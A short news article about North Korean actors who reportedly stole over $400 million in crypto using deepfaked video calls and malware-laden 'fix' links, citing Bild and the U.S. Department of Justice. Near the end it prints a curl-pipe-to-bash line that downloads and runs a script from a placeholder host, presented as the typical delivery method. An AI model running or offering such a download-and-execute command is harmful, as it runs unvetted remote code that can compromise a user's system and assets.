North Korean Hackers Use AI and Deepfakes to Steal $400M in Crypto
Based on information from Bild referencing the U.S. Department of Justice, malicious actors from North Korea made off with upwards of $400 million in digital currency through malicious software, deceitful video chats, and artificial intelligence.
The Tech TL;DR:
- Attackers deployed pre-recorded video footage and deepfakes to impersonate people during video conferences.
- Victims were instructed to follow a special link to resolve technical problems, which installed malware on the victim’s computer without their knowledge.
- The seizure of a cloud storage repository reportedly utilized by the operation’s members was made public by the U.S. Department of Justice.
The attackers contacted potential victims while impersonating people whose accounts had previously been compromised. They used pre-recorded video footage to create the appearance of a routine business conversation. Targets were directed to click a specific link to fix unexpected technical glitches that cropped up during these sessions.
In reality, the link was designed to install malware on the victim’s computer without their knowledge. Once they gained access to the device, the attackers could steal cryptocurrency assets.
The attackers also deployed deepfakes—fabricated videos generated using artificial intelligence. To earn the confidence of targeted individuals and encourage them to perform the actions necessary for the breaches, the fraudsters generated artificial likenesses of well-known figures within the digital asset sector, according to U.S. investigators. The seizure of a cloud storage repository reportedly utilized by the operation’s members was made public by the U.S. Department of Justice.
Citing Bild, the FBI pointed the finger at North Korea during the early days of November for carrying out a massive cyber assault directed at the cryptocurrency ecosystem. The Binance exchange was the intended target, with the publication noting that it reportedly suffered a loss of $6.3 billion worth of digital tokens.
# Typical delivery mechanism observed in threat telemetry
curl -s https://compromised-domain.internal/fix-tool | bash
Always consult with certified IT and cybersecurity professionals before altering enterprise networks or handling sensitive data.